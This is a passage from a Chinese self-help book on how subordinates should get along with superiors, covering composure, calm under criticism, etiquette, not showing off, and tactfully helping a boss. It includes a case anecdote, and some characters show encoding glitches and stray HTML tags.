10、敢于做出果斷決定。遇事猶豫不決或過(guò)度依賴他人意見(jiàn)的人，是一輩子注定要被打入冷宮的。
11、廣收資訊。要想成為一個(gè)成功的人，光是從影音媒體取得資訊是不夠的，多看報(bào)章雜志才是最直接的知識(shí)來(lái)源。
平凡 活著 意義
與上級(jí)相處計(jì)謀
1．不形于色
對(duì)于在任何情況下都不改變臉色的下級(jí)，上級(jí)是比較難以駕馭的。
這種人不會(huì)卑躬屈膝、強(qiáng)作笑臉，也不會(huì)為了奉承上級(jí)而強(qiáng)作笑臉，而是始終保持自然的神態(tài)，喜怒不形于色。
對(duì)年輕人來(lái)說(shuō)，這是很難做到的，但只要你想做，也并不是沒(méi)有可能的。每天都可能碰上令人生氣或不愉快的事，如果每天都動(dòng)怒，肯定會(huì)影響你的情緒，更會(huì)影響到你的工作。
當(dāng)你在工作上遇到麻煩時(shí)，突然被上級(jí)看到，你卻不形于色，上級(jí)會(huì)無(wú)法摸透你的底細(xì)，從此對(duì)你加以關(guān)注。
無(wú)論上級(jí)如何斥責(zé)、嘲諷、冷淡，你都能默默承受，連眉頭都不皺一下，這種修養(yǎng)需要有相當(dāng)?shù)淖孕挪趴勺龅?。在你失意時(shí)都能泰然自若，不表現(xiàn)出不悅之色，即使不相干的旁人，也會(huì)覺(jué)得你很豁達(dá)、樂(lè)觀，從而樂(lè)意接受你。
這并非意味著失敗時(shí)也不道歉、不認(rèn)錯(cuò)，應(yīng)該道歉時(shí)就要道歉，應(yīng)該認(rèn)錯(cuò)時(shí)就要認(rèn)錯(cuò)，沒(méi)有必要因此而感到自己很糟糕、不中用。你要做的是一個(gè)負(fù)責(zé)任但不卑躬屈膝的人。因?yàn)橐淮问б舛鴲瀽灢粯?lè)，因某事而過(guò)分拘泥不化是不可取的。自卑是最愚笨的事，而道歉并非是卑躬屈膝的低頭，而是坦然的低頭，不傷害自己的尊嚴(yán)。
經(jīng)常不露聲色的人若有一天突然展顏一笑，會(huì)令人感到有無(wú)限的吸引力，那將是多么動(dòng)人的魅力呀！上級(jí)也會(huì)因此對(duì)你更加傾心。
人之所以會(huì)被人吸引，因素之一就是可愛(ài)——讓人覺(jué)得很愛(ài)慕、有人緣而想去接近。而人之所以能表現(xiàn)得這么可愛(ài)，其源泉來(lái)自于內(nèi)心的善良。
一旦成為一個(gè)可愛(ài)的人后，同級(jí)和眾人都會(huì)親近你。如果你的嘴角也常常帶有親切的笑容，那就更理想了。倘若具備了敏銳的頭腦、果敢的行動(dòng)、強(qiáng)烈的責(zé)任心，但卻缺少人情味，那么其個(gè)人魅力就會(huì)大減。當(dāng)然，一個(gè)人總會(huì)有一些缺點(diǎn)，不可能十全十美，如果太過(guò)于完美，反倒會(huì)讓別人不敢接近你。
與上級(jí)意見(jiàn)發(fā)生分歧時(shí)，倘若你有十足的把握，就要信心百倍地談?wù)撃愕牡览?，要井然有序、有理有?jù)。留有退路更是爭(zhēng)辯時(shí)所需的重要技巧。有時(shí)為了保全上級(jí)的面子，你必須中肯地說(shuō)：“我不敢跟你強(qiáng)爭(zhēng)，否則會(huì)傷感情的，但請(qǐng)你多多考慮。”這樣，上級(jí)的抗拒心也會(huì)相應(yīng)地減少。但如果你逼他太甚，一定會(huì)激起上級(jí)的怒火。造成大家勢(shì)不兩立爭(zhēng)辯到底的態(tài)勢(shì)，一場(chǎng)爭(zhēng)斗就避免不了?！皟苫⑾酄?zhēng)必有一傷”，更何況與上級(jí)相爭(zhēng)，其結(jié)果往往會(huì)對(duì)你不利。所以，我們要為雙方留有退路。
當(dāng)你的上級(jí)向你表示屈服時(shí)，你也一定要表示出你的誠(chéng)意，以低姿態(tài)來(lái)跟他說(shuō)出你的用意，事后才不會(huì)留下禍根。例如，“因?yàn)槲矣形业睦碛桑虼瞬坏貌幌蚰岢鲞@些違背您的議案。事實(shí)上，我并不是要反駁您，只是為了整體的利益才這樣做的，這點(diǎn)請(qǐng)多多包涵。我知道我有失禮之處，但也是為了企業(yè)的進(jìn)步，請(qǐng)您原諒。幸虧能得到您的諒解，讓我松了一口氣，今后還請(qǐng)多多指教……”
要讓上級(jí)始終認(rèn)為，你是“對(duì)事不對(duì)人”。上級(jí)會(huì)認(rèn)可你是個(gè)具有潛力的得力干將：“這個(gè)人的頭腦真好，做人也真不錯(cuò)，看樣子我原來(lái)誤解了他?！彼麜?huì)重新評(píng)價(jià)你，此后也會(huì)多多考慮你的意見(jiàn)。
2．保持冷靜
無(wú)論是誰(shuí)，受到警告、謾罵，或被指責(zé)缺點(diǎn)時(shí)，心里都會(huì)不痛快。人性的弱點(diǎn)在于，即使知道失敗的責(zé)任在自己，在內(nèi)心也仍然會(huì)想“這實(shí)在是不得已”等等，總是想出多個(gè)理由來(lái)替自己辯解，設(shè)法減輕責(zé)任。
于是，如果有人當(dāng)面斥責(zé)你，你便會(huì)生氣，認(rèn)為“不必你說(shuō)我也知道”，并怒氣沖天，臉紅脖子粗。倘若此時(shí)壓不住情緒沖動(dòng)行事，事后你一定會(huì)懊悔不已。所以當(dāng)你想要發(fā)怒時(shí)，最好在心中默念“等一等”，這句“等一等”也就是要你多多忍耐。當(dāng)你將挨罵時(shí)，或正在挨罵時(shí)，不妨使用氣氛轉(zhuǎn)換法，使用諸如將火柴棍一根根折斷等方法來(lái)抑制怒氣。性格較為樂(lè)觀的人，也許在被上級(jí)責(zé)備后就沒(méi)事了。而那些消極的人，在被上級(jí)斥責(zé)而感到羞辱后，他們不但不會(huì)發(fā)脾氣，反而會(huì)產(chǎn)生“我真不行”的想法，甚至很長(zhǎng)一段時(shí)間內(nèi)都只會(huì)嘆息氣餒。
無(wú)論是強(qiáng)者還是弱者，都應(yīng)當(dāng)做到不要輕易地被斥責(zé)者攪亂自己的心情，應(yīng)保持彈性和冷靜。挨罵時(shí)低著頭認(rèn)錯(cuò)就好了，只要自己心里明白是非曲直。
對(duì)上級(jí)而言，被下級(jí)反駁是件難堪的事，而下級(jí)被上級(jí)斥責(zé)卻是理所當(dāng)然的事。既然已經(jīng)被斥責(zé)了，那就干干脆脆地道歉吧！這才是下級(jí)應(yīng)有的態(tài)度。在別人指出你的缺點(diǎn)或錯(cuò)誤后，才能通過(guò)自我反省提升自己的人格，從而提升自己的涵養(yǎng)和氣度。挨罵換個(gè)角度來(lái)想也許能促使你進(jìn)步。
你算算看上級(jí)的年齡是多大，是不是五十來(lái)歲？如果是的話，那就相當(dāng)于你父親的年齡吧？如果是四十多歲，或許就相當(dāng)于你叔叔的年齡吧？如果對(duì)方是三十多歲，大概相當(dāng)于你兄長(zhǎng)的年紀(jì)。用這種方式去推算他的年齡，心情就會(huì)開(kāi)始輕松起來(lái)。你心里會(huì)想，我是在挨父親的罵，受叔叔的指責(zé)，或正在聽(tīng)兄長(zhǎng)說(shuō)教，能這樣想，你就容易接受斥責(zé)了。如果把他視為與你沒(méi)有多大關(guān)系的人，你才會(huì)容易生氣。而一旦把他看作自己的親戚，你就會(huì)不由自主地在心中說(shuō)，“叔叔，對(duì)不起！”從而誠(chéng)懇地去道歉。
3．注意小節(jié)
有素養(yǎng)的上級(jí)總是希望自己的下級(jí)富有教養(yǎng)。上級(jí)外出時(shí)，希望自己的隨行人員謙虛、恭順、懂禮節(jié)、善交往，能夠受到人們的稱贊。
做人平時(shí)要注重“大節(jié)”的修養(yǎng)，在才干素質(zhì)和品德上下工夫，提高自己的內(nèi)涵；但同時(shí)也不要忽視“小節(jié)”，因?yàn)椤靶」?jié)”雖小，卻也往往能起到“窺一斑而知全豹”的作用。一些細(xì)節(jié)的品質(zhì)往往在不經(jīng)意間對(duì)自己的工作產(chǎn)生不小的影響。
我們可以舉幾個(gè)例子加以說(shuō)明。
例如，在大庭廣眾之下接受上級(jí)交代的任務(wù)時(shí)，下級(jí)要認(rèn)真、恭敬；對(duì)上級(jí)的要求要表明態(tài)度；對(duì)上級(jí)講的重要內(nèi)容要做記錄；盡可能地少提問(wèn)，不要給人以啰嗦的感覺(jué)。
又如，隨上級(jí)外出參觀、學(xué)習(xí)時(shí)，要認(rèn)真聽(tīng)取介紹、講解，做筆記，不要過(guò)多地發(fā)表意見(jiàn)，尤其不能發(fā)表不同的觀點(diǎn)意見(jiàn)。表?yè)P(yáng)性的意見(jiàn)也不要太多、太過(guò)，不要給人以吹捧的感覺(jué)。
上級(jí)公開(kāi)發(fā)表意見(jiàn)時(shí)，下級(jí)要表示同感，但只需用面部表示即可。和接待單位有關(guān)人員私下談話時(shí)，要集中學(xué)習(xí)人家的經(jīng)驗(yàn)，不講本單位或自己如何。不能在表?yè)P(yáng)別人的同時(shí)，把自己貶低得一文不值，因?yàn)檫@樣只會(huì)使本單位上級(jí)的面子受損。
再如，隨上級(jí)在公開(kāi)場(chǎng)合時(shí)，不可離上級(jí)太遠(yuǎn)，更不要擠在前面，一般跟在上級(jí)后面不遠(yuǎn)處為妥。不管組織者如何安排，都不要和上級(jí)并排就座。選擇自己的位置時(shí)，要注意周?chē)说纳矸?，不要過(guò)于顯露自己。要注意避開(kāi)攝影、攝像機(jī)鏡頭，將鏡頭讓給上級(jí)。
隨同上級(jí)出現(xiàn)在社交場(chǎng)合時(shí)，要記住自己不是主體，而是隨員，是下級(jí)。言語(yǔ)要適當(dāng)，忌過(guò)多或過(guò)少。在任何情況下都不要大呼小叫、放聲大笑或大聲與人說(shuō)話，要學(xué)會(huì)經(jīng)常面帶微笑、低聲談吐，給人以謙虛、親切、恭順、嚴(yán)肅之感。
在別人通過(guò)自己向上級(jí)轉(zhuǎn)達(dá)事項(xiàng)或請(qǐng)示時(shí)，不要做肯定答復(fù)，也不宜表明自己的看法。即使了解情況、很有把握，也不要過(guò)早表態(tài)。因?yàn)樽约菏窍录?jí)，不能做越俎代庖之事，也不能說(shuō)越級(jí)的話。不要主動(dòng)為別人向上級(jí)傳遞信息、轉(zhuǎn)達(dá)請(qǐng)示，轉(zhuǎn)遞信件和材料，或者送上級(jí)批示等等，以免給人造成包攬辦事、以圖私利的印象。
以上所說(shuō)可以說(shuō)都是“小事”，但是如果處理不當(dāng)，也會(huì)給上級(jí)臉上“抹黑”，同時(shí)也使上級(jí)對(duì)自己產(chǎn)生不好的看法，使自己在今后的工作中很被動(dòng)。
4．表現(xiàn)得當(dāng)
有些下級(jí)雄心勃勃，希望做一番大事業(yè)，以實(shí)現(xiàn)自己的人生價(jià)值。他們往往鋒芒畢露，工作特別努力，急于獲得上級(jí)的注意和賞識(shí)。而結(jié)果往往是“欲速則不達(dá)”，反而使自己變得很孤立，得不到大家的認(rèn)同。有許多人為此吃了不少苦頭。
M是最近剛被提拔的部門(mén)副經(jīng)理，為了報(bào)答上級(jí)的“知遇之恩”，他事事都搶著去做，為上級(jí)擔(dān)責(zé)分憂。他對(duì)自己的熱情和態(tài)度很滿意，覺(jué)得上級(jí)也一定會(huì)對(duì)他贊不絕口。
第16節(jié)：與上級(jí)相處 計(jì)四 讓上級(jí)輕松(3)
可是，上級(jí)對(duì)他的表現(xiàn)并不領(lǐng)情，反而還別有深意地對(duì)他說(shuō)：“好表現(xiàn)自己的人，最終會(huì)脫離群眾，我們需要的是內(nèi)部的和諧?！?BR style="FONT-FAMILY: ">
M對(duì)此頗為不解，一位即將離任的上級(jí)幫他解開(kāi)了這個(gè)謎團(tuán)：“你可能在做這些事情的時(shí)候并沒(méi)想過(guò)要表現(xiàn)自己，但你的表現(xiàn)卻會(huì)讓人覺(jué)得你在表現(xiàn)自己，這對(duì)其他人來(lái)說(shuō)是一種潛在的威脅。你要明白，大家的目光都注視著你，他們常常對(duì)你的每一個(gè)舉動(dòng)進(jìn)行著評(píng)價(jià)。除非你能用行動(dòng)使他們——尤其是你的頂頭上級(jí)放心，才能讓他們覺(jué)得你是值得信賴的。不然的話，你就會(huì)永遠(yuǎn)在別人的審視中過(guò)日子，而他們也會(huì)不斷給你找麻煩、出難題?！?BR style="FONT-FAMILY: ">
于是M開(kāi)始變得謙恭起來(lái)，工作也不像以前那樣拼命地超前了。尤其是上級(jí)在的時(shí)候，他更是謹(jǐn)言慎行，讓上級(jí)“占盡先機(jī)”。終于，他又慢慢贏回了上級(jí)的微笑和同級(jí)的好評(píng)。
下級(jí)在處理人際關(guān)系時(shí)應(yīng)該把眼光放遠(yuǎn)一些，把心境放平和一些，不要急于表現(xiàn)自己，而是要盡快地融入既定的關(guān)系網(wǎng)絡(luò)中。只有在具備了良好的外部工作環(huán)境之后，你才能心情舒暢，才能與上級(jí)形成默契和諧的工作配合，發(fā)揮出自己的真實(shí)才干。
事實(shí)上，你根本不必急于表現(xiàn)自己。即使上級(jí)對(duì)你的態(tài)度很冷淡，他也無(wú)法忽視你的存在。他的“若無(wú)其事”往往是裝出來(lái)的，在背地里他很可能也會(huì)議論你，并無(wú)時(shí)無(wú)刻不在注視著你的一言一行、一舉一動(dòng)。他想要知道你到底是一個(gè)什么樣的人，會(huì)對(duì)他自己構(gòu)成威脅嗎？可能會(huì)產(chǎn)生利益沖突嗎？是否可以做朋友或“心腹”呢？在這些問(wèn)題沒(méi)有得到基本回答之前，他是不會(huì)失去對(duì)你的興趣的。你畢竟不是一盆花，有與沒(méi)有對(duì)他而言絕不可能毫無(wú)關(guān)系。相反，你的存在就好比競(jìng)技場(chǎng)上又多了一名對(duì)手，誰(shuí)能不在乎呢?
是金子就總是會(huì)發(fā)光的。如果你有真才實(shí)學(xué)，就不要害怕自己被埋沒(méi)；而如果才學(xué)和經(jīng)驗(yàn)尚欠火候，你就是怎么表現(xiàn)自己，也只能貽笑大方，暴露自己的才疏學(xué)淺。
表現(xiàn)自己，只會(huì)給上級(jí)留下一個(gè)“好出風(fēng)頭”、“有個(gè)人主義傾向”的壞印象，有百害而無(wú)一益。下級(jí)在和上級(jí)相處時(shí)，要準(zhǔn)備打“持久戰(zhàn)”，要克服急躁心理和短視行為。不要過(guò)于急于求成，要知道“欲速則不達(dá)”的道理。
5．協(xié)助上級(jí)
作為下級(jí)，你應(yīng)該認(rèn)識(shí)到上級(jí)不是完人，他也有無(wú)知的地方，也有無(wú)助的時(shí)候。因此，他也需要下級(jí)為他排憂解難。
通常，上級(jí)都是具備某種技術(shù)特長(zhǎng)或?qū)I(yè)知識(shí)的，但是作為一個(gè)管理者，僅有專業(yè)知識(shí)是遠(yuǎn)遠(yuǎn)不夠的。技術(shù)特長(zhǎng)和專業(yè)知識(shí)只能保證做好某—項(xiàng)工作，而管理工作卻要統(tǒng)籌各方，可以說(shuō)是千頭萬(wàn)緒。
還有一種情況也會(huì)帶來(lái)困擾，上級(jí)由原部門(mén)調(diào)任到—個(gè)新的工作環(huán)境，他原有的知識(shí)結(jié)構(gòu)可能已經(jīng)不適應(yīng)新的工作要求，這會(huì)使他在新環(huán)境下顯得有些無(wú)措。如果你能幫助上級(jí)及時(shí)彌補(bǔ)對(duì)那些知識(shí)的欠缺，對(duì)他來(lái)說(shuō)是一種很好的協(xié)助。 在協(xié)助上級(jí)的時(shí)候，你需要時(shí)刻注意技巧?！昂眯臒o(wú)好報(bào)”往往是技巧不足或使用不當(dāng)?shù)慕Y(jié)果。
首先，你要確認(rèn)上級(jí)在哪方面存在不足。比如，一個(gè)長(zhǎng)期擔(dān)任總經(jīng)理秘書(shū)的人被提拔為人事部門(mén)的經(jīng)理時(shí)，他也許對(duì)人事部門(mén)的工作欠缺很多知識(shí)。
接著，你可以先預(yù)計(jì)一下上級(jí)的知識(shí)不足的程度，然后在實(shí)踐中加以證實(shí)，也可以在工作中逐漸得出結(jié)論。最好能有個(gè)清楚的把握。
然后，你要在實(shí)際工作中自然地幫助上級(jí)彌補(bǔ)其不足的方面。比如你可以爭(zhēng)取做一些上級(jí)并不是太了解的工作，而把上級(jí)可以順利完成的工作留給他自己。切記，不可當(dāng)面或在公共場(chǎng)合指出上級(jí)的不足。無(wú)論這在客觀上是否真實(shí)，他主觀上都不太愿意承認(rèn)。你可以在一些非正式場(chǎng)合，特別是沒(méi)有他人的時(shí)候，直接向上級(jí)灌輸彌補(bǔ)他的這種不足的知識(shí)。當(dāng)然，一定要采用比較婉轉(zhuǎn)的語(yǔ)氣和方式，然后在閑談中有技巧地告訴他有關(guān)知識(shí)，讓他能夠在輕松的氣氛中增長(zhǎng)見(jiàn)識(shí)、彌補(bǔ)不足。
下面讓我們來(lái)看一個(gè)案例。
有這樣一位下級(jí)，他在一家公司的公關(guān)部門(mén)任副經(jīng)理，其外事工作知識(shí)相當(dāng)豐富。在公司的一次人事變動(dòng)中，來(lái)了一位新上級(jí)。這位上級(jí)在人事部門(mén)工作了三年，成績(jī)斐然，看來(lái)公司正準(zhǔn)備重用他，在此之前把他派往—個(gè)部門(mén)先鍛煉一下。
部門(mén)副經(jīng)理發(fā)現(xiàn)新上級(jí)在外事知識(shí)上很欠缺，甚至缺乏接待外商的基本常識(shí)。在走馬上任的頭幾天里，這位上級(jí)出了一些洋相。
有一次，公司需要接待一名前來(lái)訪問(wèn)的外商，上級(jí)為了表示足夠的重視，決定親自布置接待場(chǎng)面。這位下級(jí)發(fā)現(xiàn)上級(jí)不知道該放一些什么樣的鮮花和裝飾品，于是他便勸阻上級(jí)，說(shuō)這些小事無(wú)須上級(jí)親自操刀，由他代勞即可，上級(jí)欣然同意了。結(jié)果，這次接待活動(dòng)搞得非常成功。
在事后的宴會(huì)中，他與上級(jí)閑聊時(shí)，透露出外國(guó)人都有什么禁忌和偏愛(ài)，并夾雜一些故事和笑話，使得上級(jí)在言談中學(xué)到了不少知識(shí)。
這實(shí)在是個(gè)聰明的下級(jí)。
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